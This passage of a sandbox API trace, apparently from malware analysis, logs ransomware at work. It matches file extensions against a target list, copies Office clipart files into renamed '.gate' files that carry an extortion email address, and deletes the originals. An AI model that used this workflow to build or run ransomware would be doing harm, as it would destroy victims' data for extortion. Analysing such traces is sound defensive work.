(lpString=".bz2") returned 4 [0294.331] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.331] lstrlenW (lpString=".7z") returned 3 [0294.331] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0294.331] lstrlenW (lpString=".dbf") returned 4 [0294.331] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0294.331] lstrlenW (lpString=".1cd") returned 4 [0294.331] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0294.331] lstrlenW (lpString=".jpg") returned 4 [0294.331] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0294.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0294.331] lstrlenW (lpString=".doc") returned 4 [0294.331] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.331] lstrlenW (lpString=".docx") returned 5 [0294.331] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.331] lstrlenW (lpString=".pdf") returned 4 [0294.331] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.331] lstrlenW (lpString=".xls") returned 4 [0294.331] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.332] lstrlenW (lpString=".xlsx") returned 5 [0294.332] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.332] lstrlenW (lpString=".ppt") returned 4 [0294.332] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0294.332] lstrlenW (lpString=".zip") returned 4 [0294.332] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.332] lstrlenW (lpString=".rar") returned 4 [0294.332] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.332] lstrlenW (lpString=".bz2") returned 4 [0294.332] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.332] lstrlenW (lpString=".7z") returned 3 [0294.332] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0294.332] lstrlenW (lpString=".dbf") returned 4 [0294.332] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0294.332] lstrlenW (lpString=".1cd") returned 4 [0294.332] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68 [0294.332] lstrlenW (lpString=".jpg") returned 4 [0294.332] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.332] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0294.332] lstrlenW (lpString="DD01434_.WMF") returned 12 [0294.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0294.333] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=900) returned 1 [0294.333] CloseHandle (hObject=0x4b0) returned 1 [0294.333] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf")) returned 0x220 [0294.333] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0294.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0294.334] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.334] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0294.334] GetLastError () returned 0x0 [0294.334] ReadFile (in: hFile=0x4b0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x384, lpOverlapped=0x0) returned 1 [0294.446] WriteFile (in: hFile=0x4f4, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x390, lpOverlapped=0x0) returned 1 [0294.447] ReadFile (in: hFile=0x4b0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0294.447] WriteFile (in: hFile=0x4f4, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0294.447] SetEndOfFile (hFile=0x4f4) returned 1 [0294.463] CloseHandle (hObject=0x4f4) returned 1 [0294.464] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.464] SetEndOfFile (hFile=0x4b0) returned 1 [0294.484] CloseHandle (hObject=0x4b0) returned 1 [0294.484] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0294.538] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf")) returned 1 [0294.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0294.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0294.546] lstrlenW (lpString=".doc") returned 4 [0294.546] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.546] lstrlenW (lpString=".docx") returned 5 [0294.546] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.546] lstrlenW (lpString=".pdf") returned 4 [0294.546] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.546] lstrlenW (lpString=".xls") returned 4 [0294.546] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.546] lstrlenW (lpString=".xlsx") returned 5 [0294.546] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.546] lstrlenW (lpString=".ppt") returned 4 [0294.546] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0294.546] lstrlenW (lpString=".zip") returned 4 [0294.546] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.547] lstrlenW (lpString=".rar") returned 4 [0294.547] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.547] lstrlenW (lpString=".bz2") returned 4 [0294.547] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.547] lstrlenW (lpString=".7z") returned 3 [0294.547] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0294.547] lstrlenW (lpString=".dbf") returned 4 [0294.547] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0294.547] lstrlenW (lpString=".1cd") returned 4 [0294.547] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68 [0294.547] lstrlenW (lpString=".jpg") returned 4 [0294.547] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.548] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=2300) returned 1 [0294.548] CloseHandle (hObject=0x548) returned 1 [0294.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf")) returned 0x220 [0294.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0294.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0294.549] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.549] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0294.550] GetLastError () returned 0x0 [0294.550] ReadFile (in: hFile=0x548, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x8fc, lpOverlapped=0x0) returned 1 [0294.796] WriteFile (in: hFile=0x550, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x900, lpOverlapped=0x0) returned 1 [0294.796] ReadFile (in: hFile=0x548, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0294.796] WriteFile (in: hFile=0x550, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0294.797] SetEndOfFile (hFile=0x550) returned 1 [0294.797] CloseHandle (hObject=0x550) returned 1 [0294.797] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.797] SetEndOfFile (hFile=0x548) returned 1 [0294.799] CloseHandle (hObject=0x548) returned 1 [0294.799] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0294.799] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf")) returned 1 [0294.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0294.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0294.800] lstrlenW (lpString=".doc") returned 4 [0294.800] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.800] lstrlenW (lpString=".docx") returned 5 [0294.800] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.800] lstrlenW (lpString=".pdf") returned 4 [0294.800] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.800] lstrlenW (lpString=".xls") returned 4 [0294.800] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.800] lstrlenW (lpString=".xlsx") returned 5 [0294.800] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.800] lstrlenW (lpString=".ppt") returned 4 [0294.800] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0294.800] lstrlenW (lpString=".zip") returned 4 [0294.800] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.800] lstrlenW (lpString=".rar") returned 4 [0294.800] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.800] lstrlenW (lpString=".bz2") returned 4 [0294.800] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.800] lstrlenW (lpString=".7z") returned 3 [0294.800] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0294.800] lstrlenW (lpString=".dbf") returned 4 [0294.800] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0294.800] lstrlenW (lpString=".1cd") returned 4 [0294.800] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0294.800] lstrlenW (lpString=".jpg") returned 4 [0294.800] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.801] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=6958) returned 1 [0294.801] CloseHandle (hObject=0x548) returned 1 [0294.801] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf")) returned 0x220 [0294.801] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0294.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0294.801] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.802] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0294.802] GetLastError () returned 0x0 [0294.802] ReadFile (in: hFile=0x548, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x1b2e, lpOverlapped=0x0) returned 1 [0294.856] WriteFile (in: hFile=0x550, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x1b30, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x1b30, lpOverlapped=0x0) returned 1 [0294.856] ReadFile (in: hFile=0x548, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0294.856] WriteFile (in: hFile=0x550, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0294.857] SetEndOfFile (hFile=0x550) returned 1 [0294.857] CloseHandle (hObject=0x550) returned 1 [0294.857] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.857] SetEndOfFile (hFile=0x548) returned 1 [0294.859] CloseHandle (hObject=0x548) returned 1 [0294.859] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0294.860] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf")) returned 1 [0294.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0294.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0294.860] lstrlenW (lpString=".doc") returned 4 [0294.860] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.861] lstrlenW (lpString=".docx") returned 5 [0294.861] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.861] lstrlenW (lpString=".pdf") returned 4 [0294.861] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.861] lstrlenW (lpString=".xls") returned 4 [0294.861] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.861] lstrlenW (lpString=".xlsx") returned 5 [0294.861] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.861] lstrlenW (lpString=".ppt") returned 4 [0294.861] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0294.861] lstrlenW (lpString=".zip") returned 4 [0294.861] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.861] lstrlenW (lpString=".rar") returned 4 [0294.861] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.861] lstrlenW (lpString=".bz2") returned 4 [0294.861] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.861] lstrlenW (lpString=".7z") returned 3 [0294.861] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0294.861] lstrlenW (lpString=".dbf") returned 4 [0294.861] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0294.861] lstrlenW (lpString=".1cd") returned 4 [0294.861] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68 [0294.861] lstrlenW (lpString=".jpg") returned 4 [0294.861] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.862] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=12356) returned 1 [0294.862] CloseHandle (hObject=0x548) returned 1 [0294.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf")) returned 0x220 [0294.862] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0294.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0294.862] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.862] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0294.863] GetLastError () returned 0x0 [0294.863] ReadFile (in: hFile=0x548, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x3044, lpOverlapped=0x0) returned 1 [0295.157] WriteFile (in: hFile=0x550, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x3050, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x3050, lpOverlapped=0x0) returned 1 [0295.158] ReadFile (in: hFile=0x548, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0295.158] WriteFile (in: hFile=0x550, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0295.158] SetEndOfFile (hFile=0x550) returned 1 [0295.159] CloseHandle (hObject=0x550) returned 1 [0295.159] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.159] SetEndOfFile (hFile=0x548) returned 1 [0295.161] CloseHandle (hObject=0x548) returned 1 [0295.161] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0295.161] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf")) returned 1 [0295.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0295.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0295.162] lstrlenW (lpString=".doc") returned 4 [0295.162] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.162] lstrlenW (lpString=".docx") returned 5 [0295.162] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.162] lstrlenW (lpString=".pdf") returned 4 [0295.162] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.162] lstrlenW (lpString=".xls") returned 4 [0295.162] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.162] lstrlenW (lpString=".xlsx") returned 5 [0295.162] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.162] lstrlenW (lpString=".ppt") returned 4 [0295.162] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 68 [0295.162] lstrlenW (lpString=".zip") returned 4 [0295.162] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.162] lstrlenW (lpString=".rar") returned 4 [0295.162] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.162] lstrlenW (lpString=".bz2") returned 4 [0295.162] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.162] lstrlenW 